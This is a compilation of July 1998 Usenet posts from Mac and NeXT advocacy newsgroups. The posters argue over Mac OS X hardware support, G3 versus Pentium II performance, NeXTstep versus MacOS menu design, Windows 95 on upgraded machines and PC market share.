Message-ID: <35c07c0e.0@news.vitts.com>
I recently picked up a used NeXT Cube. Where might I find Documentation or
Manuals?
It's an original but missing a few pieces. I've found hardware outlets, but
without the tech spec's, it's hard to know exacly what it needs.
Thanks
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 10:11:41 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6pru7t$69$1@larry.admin.phil.uu.nl>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <joe.ragosta-3007980836280001@wil34.dol.net> <MPG.102ac03127a9bc02989a54@news.supernews.com>
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Donald:
[CHRP propaganda]
>Big, big banners on the slides in the presentations.
...
>Then I got to work one day, read my news websites, and found
>out that CHRP was dead. Just like that.
Yup.
One lesson to be learned from this: Don't trust Apple's
propaganda. The people making the promises will be gone
before the promises have been held.
Look at what Apple delivers, not at what they're promising.
The promises are meaningless.
Freek
(despite all this an Apple-lover: there are some very nice
things coming out of Apple after all (sometimes :-)))
Date: Thu, 30 Jul 1998 10:08:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007981008260001@wil72.dol.net>
References: <macman-2907982115550001@d185d1c66.rochester.rr.com> <B1E55DDF-44AB4@206.165.43.139>
In article <B1E55DDF-44AB4@206.165.43.139>, "Lawson English"
<english@primenet.com> wrote:
> Stephen Rea <macman@rochester.rr.com> said:
>
> >In article <6p3d1m$mr6$1@camel18.mindspring.com>, Matthew Cromer
> ><matthew_cromer@iname.com> wrote:
> >
> >> Microsoft doesn't depend on new hardware purchases.
> >
> >Sure it does. Virtually everyone with a computer that can run Windows
> >already has Windows. Most of their sales are to new PCs. Even Windows 98
> >hasn't been selling as well as expected, and many major vendors are still
> >not shipping new machines with it.
>
> But most of MS's revenues come from applications software sales, not OS
> sales. In fact, if you look at the $400 million price tag of the WIndows 95
> introduction marketing blitz, you could make a very good claim that MS will
> NEVER make a profit from Windows sales.
>
>
> I believe that they call this a "loss leader" -something to entice you to
> stay with a brand-name -in this case getting you locked into MS Office and
> other MS apps. NO-ONE competes with MS on their home turf. On the Mac,
> people USED TO BE ABLE TO COMPETE, but not since Jobs came back.
>
Huh? Apple is in far better position today than it was 2 years ago. On
what do you base this statement?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Fri, 31 Jul 1998 01:29:36 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3107980129360001@sdn-ar-001casbarp015.dialsprint.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <35BF591A.A125BBDB@erols.com> <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net> <biggus.FILTER-3007981459590001@tele-anx0229.colorado.edu> <macghod-3007981420050001@sdn-ar-001casbarp097.dialsprint.net> <biggus.FILTER-3107980033570001@tele-anx0306.colorado.edu>
In article <biggus.FILTER-3107980033570001@tele-anx0306.colorado.edu>,
biggus.FILTER@colorado.edu (jeff) wrote:
> steve, i'll thank you not to send personal mail to me of that nature
> again. the newsgroups are the correct place for such disagreements.
I will assume you are talking to me, even tho since you snipped everything said
> I disagree with your supposed benchmark results. Even according to
> *Intel's* commissioned report on such tests, the g3 much outperformed the
> p2 at higher mhz. (Intel and other pc vendors commissioned an extensive
> retesting of the original Bytemark testing and found the same or better
> results for the g3 than was originally announced.)
Oh, and lemme guess, you heard this from a friend, huh? I bet you dont
even have a url. Well I have documentation for mine. "Power Macintosh G3
Desktop"
Service SOurce, put out by APPLE COMPUTER. Page 41, Exact QUOTE "A 266
mhz powermacintosh g3 provides performance that is on average %30 faster
than that of a comparable pentium 2 system"*
Then, bellow, the * is explained:
"Based on *APPLE* *INTERNAL* tests running 15 seperate Adobe Photoshop
filters" (emphases mine).
So basically what do we have here? We have ME (at least I assume so since
you didnt leave my original comment) repeating APPLE'S OWN INTERNAL
FINDINGS, WHich I have documentation of, in a OFFICIAL APple document,
versus you claiming its false by spouting off some stupid assed urban
lore. Or do you have documentation or a url for this intel test? I will
be happy to apologize if you have evidence, but given that even apple's
internal tests show otherwise, I will assume its urban legend by some
brainwashed apple fanatics. And I bet part of this urban legend is "Intel
covered up the story since it made them look bad, so their is no way to
document it". OH NO, call Mulder and Scully!!
>Besides, I've run
> photoshop on a p2 at 250mhz, and it didn't even come close to the 233 mhz
> g3. the user experience clearly bore this out when i ran several filters
> and other effects.
OH! You ran a 250 mhz p2. I am sorry, but since I have used macs all my
life, I am not a expert on p2's, but isnt it true THEIRS NO F*CKING SUCH
THING as a 250 mhz p2? If I am wrong, I will gladly apologize, but the
only p2's I have heard about are 233 and 266 (and up), have never heard
anything about a 250 mhz
(note, after writting the above, I checked dejanews to see what I wrote,
and I found a post replying to Jeff, and I did cite the apple internal
study, instead of reposting the entire message, here is the message id:
<macghod-3007981420050001@sdn-ar-001casbarp097.dialsprint.net>)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>
Message-ID: <35c0cc77.0@news.depaul.edu>
Date: 30 Jul 98 19:41:43 GMT
In comp.sys.next.advocacy Pulsar <tokarek@uiuc.edu> wrote:
> Actually, it's not irrelevant.
> The kernel in MkLinux sounds exactly like what Apple describes for Mac OS
> X.
Yes, the Mach-3-based kernel in OS/X "sounds" exactly like the Mach-3-
based kernel in MkLinux, but that doesn't mean they're not very
different. The devil's in the details.
> The Yellow Box, Blue Box, and PDF all interface with the kernel. They
> do not interface with the hardware.
Probably true, yes.
> The work that it would take to get Mac OS X running on older PowerMacs is
> in writing the kernel. These other things you mention do not know and
> do not care what specific hardware they are running on.
Nope. The first work that would be required is to get the kernel running
correctly on *each* of the older PowerMacs. That would not produce a
commercially acceptable product.
Apple would then have to go on to implement drivers for each motherboard's
motherboard components, sound hardware, etc., and making sure to include
workarounds for all the bugs that have surfaced over the years.
Then, Apple would have to test the OS with a variety of different
hardware configurations and third-party products. For each motherboard.
That's a lot of work.
<snip>
> Of which IOKit is the only thing that's relevant to getting Mac OS X to
> run on older machines. Even that is supposed to make it easier to write
> drivers.
What about the implementation of IOKit itself?
> And this would be for hardware that Apple has _all_ the documentation on
> and which Apple _already_ has experience in writing drivers for.
And maybe that experience is that it's a pain in the ass, and well
worth dropping! Why cling to Apple's long tradition of model-specific
bugs?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 1998 11:14:53 GMT
Organization: Primenet (602)416-7000
Message-ID: <6ppkjd$lfr$1@nnrp02.primenet.com>
References: <6pnilb$4hq$2@nnrp02.primenet.com> <B1E55985-344CC@206.165.43.139>
Lawson English <english@primenet.com> wrote:
: John Jensen <jjens@primenet.com> said:
: >"I think this is one of the most interesting questions of our day. I like
: >to compare and contrast OpenDoc and HTML. [...]"
: HTML doesn't allow one to edit composite documents or to add ot them.
Of cource you can, it's just a lot harder.
: It is an incredibly superficial look at what OD does to suggest that
: there is any real overlap in functionality.
I am groggy this morning, but I will try to explain. The first text-only
versions of HTML were especially primative in comparison to OpenDoc. The
thing is, that text version thrived and grew, even without corporate
sponsorship. Technologies attached themseleves to HTML over time. We've
gotten to the point where you can create a web page that matches most any
OpenDoc page, it's just a lot harder. Some "standard" Java applets are
available, but most often everything has to be created from scratch. The
proeccess is not remotely WYSIWYG. A web page has the added benefit of
easy net distribution, but it certainly has no advantages in ease of use
over OpenDOc.
I think the examples of HTML and Java show that releasing a small project
with something people need will get you acceptance. You then have the
chance to build that technology in public view, by releasing early and
often. I'm sure we see the disadvantage in the plan, HTML and Java lack
the consistency that might be possible if the project were kept private.
The advantage is that you grab market share early and have the chance to
lock in your solution.
Engineers are supposed to be realists. You can't design a product for
Alaska and say "I wish it wasn't so cold, so I'll build it for 70
degrees." If you are sponsoring a technichal standard in the 90's, I
think you have to take into account the engineering environment just as
you would the temperature in Alaska.
john
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 10:10:26 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pqa01$rms$1@plo.sierra.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <joe.ragosta-3007980839550001@wil34.dol.net>
NNTP-Posting-Date: 30 Jul 1998 17:20:01 GMT
Joe Ragosta wrote in message ...
>In article <B1DA7956-48FFC@206.165.43.17>, "Lawson English"
><english@primenet.com> wrote:
>> Where does Apple draw the line, Joe?
>
>At a major transition point. New motherboard, new processor family.
Well, since the new processor is backwards compatible with the old one,
that's a poor reason. And this "new motherboard" as many have pointed out,
is extemely similar to older motherboards, with minor modifications, so
there's another poor reason.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 10:22:38 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pqamt$s5d$1@plo.sierra.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com>
NNTP-Posting-Date: 30 Jul 1998 17:32:13 GMT
Landivar2 wrote in message <35BFB0BB.1AB6@geocities.com>...
><snip>
>> Jeez, if by next year the best they can do is release a consumer portable
>> with *only* a 9" screen, they deserve what they can get.
>
> 2 words "Toshiba Libreto"
I love my Libretto. Less than $1000, and under 2 lbs. I wish Apple would
develop a PowerBook with those features, it would sure help my development.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se> <35c0c935.0@nnrp1.news.uk.psi.net> <35C10778.3D6AE72A@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c18452.0@nnrp1.news.uk.psi.net>
Date: 31 Jul 98 08:46:10 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Richard Frith-Macdonald wrote:
>
>> Sorry - but that's totally illogical.
>> Where distinctions exist, the user needs to be able to percieve them (or they
>> couldn't act on them). Since the NeXTstep users are able to use the system,
>> they must be able to percieve the distinctions.
<SNIP inappropriate example>
>It is not a zero-sum game, as you presume it to be. You seem to assume
>that usability ("Since the NeXTstep users are able to use the system")
>is a constant and that all other factors are to be measured against it.
Nope - I consider NeXTstep more usable than MacOS-8 for instance.
My point was that, 'a difference that makes no difference, is no difference' - if
there actually exist distinctions that the MacOS gui makes plain and the NeXTstep
GUI does not, then one would expect that to have an impact. There is absolutely
no evidence of this.
>This is patently illogical.
And not what I said. I guess you had to 'presume' things to call illogical because I
used the word about your argument.
I'll try again -
The notion that Mac users are 'more perceptive' and therefore need a GUI with 'clearer
distinctions' is illogical.
Perhaps this is not what you meant.
If you mean the Mac users are 'more perceptive' and therefore PREFER a GUI with 'clearer
distinctions', it's not illogical, but it is a baseless assertion, sionce there is no
evidence that perceptive people prefer clear distinctions, and in my experience it is
quite the opposite - most perceptive people enjoy subtlety.
>> This, as I see it, is a major part of the philosophy of the design of both
>> MacOS and NeXTstep. Where NeXT has the advantage is that they were able to
>> apply the principles of good design to a more modern (multi-tasking and
>> virtual memory being the most important technical differences) operating system.
>
>What I would enjoy very much (in all honesty) is a NeXTstep fan who
>could explain exactly how NeXTstep's UI caters to multi-tasking and
>virtual memory use.
Well - If you want to get back to me about it, I'll give you my opinions on that -
but I'd like to leave it for now because this thread is already taking far too much
of my time.
<SNIP>
>> The NeXT designers applied the same philosophy to running applications tiles
>> and minimised window tiles - because they have the same kind of relationship.
>
>That's a stretch. Number one, I could understand if it were the
>relationship between applications and *documents*, but generic windows
>don't seem like first-class citizens.
Generally a window is a view onto a document, so in a sense a window clearly IS
a document, but more generally a window is an application with particular running
state in much the same way that a file is an application with some frozen state.
>Number two, both applications and
>their files are peers in that *all* are files; therefore they get a
>similar representation on the MacOS desktop. But a running app and an
>open window aren't even remotely the same thing. There may be a tenuous
>conceptual link, but it's neither obvious nor practical.
I guess we'll have to differ on this - to my view the link is both obvious and
practical - both window/miniwindow and application tile represent a running
application (the menu-system is a representation of the <STRONG>current</STRONG>
running application). On a multi-tasking system, it's important to have easy
access to each running application, and that's what windows/mini-windows and
application tiles give you.
<SNIP>
>> Actually, no they don't - because they are used to the MacOS doing the same
>> sort of thing. Computer newbies might have that reaction to both MacOS and
>> NeXTstep though.
>
>Application icons act differently from file icons, depending on the
>context. In the context of *files*, they act identically because they
>are both files.
Yes both MacOS and NeXT have different behaviours for similar widgets where
appropriate - you can't drag a running-application tile intoa a folder for
instance (though experimenting with the idea of freezing process state and
storing it in a file might be interesting)
>What I found frustrating was the app wrapper in NeXTstep. I was *very*
>confused on NeXTstep until I realized that the wrapper was actually a
>folder, not a single file. In the context of this discussion, I would
>find this *very* difficult to rationalize, which is why I'm confused
>that you've raised the issue of file management and file icons.
The app wrapper is (conceptually) the same thing as a resource fork - if it
wasn't for the fact that NeXTstep was oriented primarily for programmers,
I suspect that no mechanism would have been provided to treat it as the
folder it really is in the underlying filesystem.
I'd make the 'open as folder' option in the workspace menu conditional upon
the setting of the 'unix expert' preference if I had my choice.
<SNIP>
>> I ignored the OO-style inheritance stuff because, rather than reasoning,
>> it was one of the inappropriate examples/analogies of which you are so fond.
>> Inappropriate because -
>> 1. Normal OO design makes subclassed more specific by adding functionality
>> rather than removing it (there are of course exceptions).
>
>True. Menubars have increased functionality. They have *decreased*
>generality.
Ah - from my point of view, menubars have decreased functionality - which is probably
why your example made no sense to me. I was still thinking in the original context
of a comparison of the Next,NeXT+ and MacOS systems. Purely within the NeXT/MacOS
systems, the menu-bar does add the functionality to be horizontally oriented while
removing that of permitting selection of things other than menus.
>Can you name a parent/child object relationship wherein the
>child is more general and less functional?
Not immediately (possibly not ever) - but (within the original context of menu systems
in general), the ONLY thing that differentiates the MacOS style menu-bar from the NeXT+
menu is the removal of the ability to select items other than menus, so we are looking
at the menubar as a child that is both less general and less functional.
>> 2. The fact that in some cases you can make a more specific object by removing
>> functionality does nothing to support the argument that you should do so in
>> this case.
>
>This makes no sense. Menubars have two things added to them:
>functionality in handling menus in a specific way, and a specific policy
>regarding what it can handle. This makes them both more functional and
>more specific.
See above - this is the case for the specific MacOS implementation, but NOT the
case for a menu system (including a menu bar) in general.
>> >None of which explains how, specifically, the MacOS menu bar is
>> >"crippled".
>> 1. The menu bar is a selection tool that only lets you select menus.
>
>The menu bar is also a display tool that always displays its menus. It
>has a specific mandate to be where it is, which is something no
>generalized menus have.
The root of a menu system has that mandate by virtue of the hierarchical nature
of a menu system - it's not a special feature of the widget - so a generalised
menu has tyhat mandate if it happens to be at the top of the hierarchy.
>> 2. The menus are selection tools that let you select other things as well.
>> 3. You might reasonably want to select things other than menus.
>> therefore the menu-bar is a crippled selection tool in comparison to the
>> menu.
>> How much more specific do I need to get?
>By this reasoning, as I've already said, the pushbutton is a crippled
>window, since a window can display anything and a pushbutton can only
>display text. If you are simply referring to the tradeoff between
>specificity and functionality as "crippling", then I suppose it's just a
>matter of semantics.
I'm referring to the fact that no such tradeoff is necessary, and yet the
current MacOS does it.
>> Proof? Evidence even? - most MacOS users, including myself, would like some
>> function (print, hide etc) to be available on the menu bar - there, I can
>> pretend to speak for others too.
>
>Sure you can, but I can say that I seriously doubt it, and offer reasons
>why: they already have this capability on toolbars. The whole point of
>menus is to contain and categorize commands; the point of toolbars is to
>group them according to the user's whim, usually according to frequency
>of usage. Another distinction preserved and enforced in the MacOS, a
>distinction blurred and changed in NeXTstep.
I disagree with that distinction - all are mechanisms to let the user select
some operation, the distinction is that menus provide a hierarchical (usually
text based) mechanism, while toolbars/toolboxes are usually non-hierarchical
and are grahics based.
<SNIP>
>> Well thanks for the paragraph of complete bullshit - the facts are the other way
>> around - NeXT had many more years of research and user experience to draw upon
>> in producing a new GUI - Apple were hampered in making changes by having a legacy
>> system, in much the same way that Microsoft have been hampered by their horrible
>> backward compatibility.
>
>Just because I'm designing a GUI in 1998 and you designed yours in 1986
>doesn't mean I am making better use of research than you did. Sorry.
I didn't say that - I said NeXT had the research available when they designed their
GUI and Apple did not when they designed theirs. If you want to choose to believe
that NeXT ignored the research, feel free, but don't present it as fact.
>
>> Ah - the 'if it's good enough for grandad, it's good enough for me' argument :-)
>
>Actually, no. The implication was that convention and "cross-training"
>(attribute to Chuck Swiger) is important and helpful. Breaking that
>convention should only be done with compelling reason. The only reason
>you seem to be offering is some minor bit of "functionality".
Nothing should ever be done without 'compelling reason' - it's what you consider
compelling that counts. Now freqent changes are bad, but you should change some
time. The move to MacOS-X is the right time to put the 'hide' button on the
menu-bar and, judging by the number of times it comes up in the mac newsgroups,
the 'print' button as well.
>> I personally don't like having 'quit' at the top-level, but would like 'hide'.
>> My ideal UI would allow users to move menu items around the hierarchy if they
>> really wanted to - and just to forestall the criticisim - yes I'd want a good
>> simple method of switching between cusomised and default setups (like the
>> yellow-box user defaults system can give you).
>
>Again, why would you want to break the basic menu system to achieve
>something that's already done with customizable toolbars?
1. It's 'change' not 'break' - adding the ability for a user to customise a thing
(along with the ability to revert ot a default) 'breaks' NOTHING.
2. Because toolbars are graphical - they must either contain EXTREMELY well designed
icons, or require a relatively long time to learn what the icons mean.
Text based menus tend to be quicker to learn to use, and some people prefer them even
after learning what the toolbar icons mean. It's all about letting people work the
way that suits them best.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com> <35bf8505.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981710160001@news>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c18547.0@nnrp1.news.uk.psi.net>
Date: 31 Jul 98 08:50:15 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <35bf8505.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
>(Richard Frith-Macdonald) wrote:
>
>> For instance - you point to rigid hierarchical systems as justification
>for the MacOS
>> menu system having a similar structure - but don't explain why you think
>that it is a
>> good thing to transfer that particular structure from one problem domain
>to another.
>
>Because having a hierarchical system with a top-level item ascribes the
>same level of importance to that single item as each of the other submenus.
>If you have more than one top-level item, they can usually be logically
^^^^^^^
>grouped into one submenu. It is not space-effective (or logical) to have
>some menus with other submenus, and some individual top-level items.
'space-effective'
Oh - lets all restrict ourselves to a gui for a 9" display then shall we?
'or logical'
Rubbish.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 00:53:25 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C14DC2.74ADCDA0@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> In article <35BF1822.3E94CE81@earthlink.net>, jontemple@earthlink.net wrote:
>
> > Joe Ragosta wrote:
> >
> > > > In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
> > > > eilersm@psn.net wrote:
> > > >
> > > >
> > > > > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > > > > old--they don't even get tech support. Try to call Apple right now
> and ask
> > > > > them for help with your IIsi.
> > >
> > > The IIsi was discontinued in 1991 and is comparable to a 386. What major
> > > OS is supported by the vendor on a 386?
> >
> > Windows 95
> >
> > Slip in a $100 Pentium-compatible and it'll actually run fast enough to use.
> >
> > You've already been told this, Joe by others. Stop being so disingenuous.
>
> Wrong. Win95 is _not_ supported by the vendor on a 386.
"By the vendor" --- what the hell does that mean? It just works. All you need is a
32-bit i86 compatible processor and it'll run.
> And as soon as you replace the CPU, you're not using a 386 again.
>
> Please try to stick to facts.
These ARE the facts --- Win95 supports upgraded machines, even with very cheap
processor upgrades. That WAS the point. MacOS X will not --- not even with a $1600
G3 upgrade card in a 9600. Yet, a cheesy 386 with a $150 Evergreen upgrade will
run Win95 quite usably. Such cheap upgrades make performance less of an issue. If
Microsoft disallowed installation on anything but a single motherboard design, such
cheap upgrades to gain extra performance wouldn't work --- kind of like they won't
work with MacOS X.
For Win95, performance is the paramount issue, as long as you have a 32-bit CPU;
with MacOS X, having a 32/64-bit PowerPC system from a single vendor (Apple) isn't
enough --- MacOS X will only run on ONE motherboard design. Forget upgrades cards
on MacOS X. This is why Mac users are getting shafted, and why ironically Microsoft
has the higher ground on this issue. And yet YOU actually defend Apple for this?
It's disgusting --- so much for having standards.
You've already been told this by others, Joe. Stop being so disingenuous. I am
tired of having to remind you of the facts, you distort them at such rapid speed.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 05:04:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6prj9h$8nt$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net> <6poqs3$kvc$1@nnrp1.dejanews.com> <Josh.McKee-3007981744090001@pm3a18.rmac.net>
In article <Josh.McKee-3007981744090001@pm3a18.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> And since Windows 95 itself includes 16 bit code, it is susceptible to
> blocking by the OS itself. Windows 95's PMT may be technically better
> than the Macs CMT, but in end user experience, they are roughly equal. I
> certainly would not trust Windows 95's PMT when performing important work
> (such as writing a CD or downloading a very large file).
I disagree. Windows 95 multitasking is better than Mac OS multitasking in the
real world. BTW, no one was claiming that Windows 95 PMT should be relied upon
for important work. Just as no sane person would rely on Mac OS multitasking.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Market share numbers
Date: Thu, 30 Jul 1998 10:52:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3007981052580001@sdn-ar-002casbarp279.dialsprint.net>
References: <joe.ragosta-2707980922590001@wil37.dol.net> <6pim0s$f7n$2@hecate.umd.edu>
In article <6pim0s$f7n$2@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> : But now we have the real truth. Look at today's WSJ:
>
> : "Most PC makers' sales fell sharply in the second quarter"
>
> : And:
>
> : "While their aggregate numbers differ, the two firms [consulting firms
> : doing market estimate] agree that most PC makers' sales fell from the
> : first quarter".
>
> : So, let's see. Apple's sales were flat, most PC makers' sales fell.
> : Wouldn't that support the independent reports that Apple's market share
> : had increased?
>
> No. Overall PC sales were flat as well. As I mentioned in the other thread,
> Q1 1998 unit volume was 21,200,000, while Q2 1998 volume was 21,125,000.
> Given those numbers, Apple's markeshare did not increase.
Hmmm, I am surprised you missed my original post commenting on this by
Joe. He simply was using horribly dumb logic. Notice "most pc makers
sales fell"? He said nothing about the overall market falling, he just
noted that some computer makers share fell, thus somehow non sequitered
that the whole must of fallen. NO WHERE IN HIS POST did he say the whole
decreased, he just used the crappy logic that "according to sources,
computer maker a,b, and c's marketshare decrease. Ergo the total
marketshare must of decreased. But of course this is sucky logic.
Lets say their are 2 pie both cut evenly into 10 slices. The first pie,
I, compaq,dell, Apple, "fatso" each have 2 slices. Now for the second
pie, we dont tell Joe how many total slices their are, we just tell him
the info for the first pie. But we do tell him that Apple's number of
slices was the same as pie 1, 2 slices, and that compaq, dell, and me had
1 slice of the pie.
From this, Joe chimes in, "its obvious, Apple's ammount eaten was flat,
most pie eaters number of slices fell. Wouldnt that support that APple's
percentage of the pie increased?" (I left out the part of "independent
reports that APple's market share had increased", because Joe didnt
produce any, the only one we have seen is that their us retail marketshare
increased.
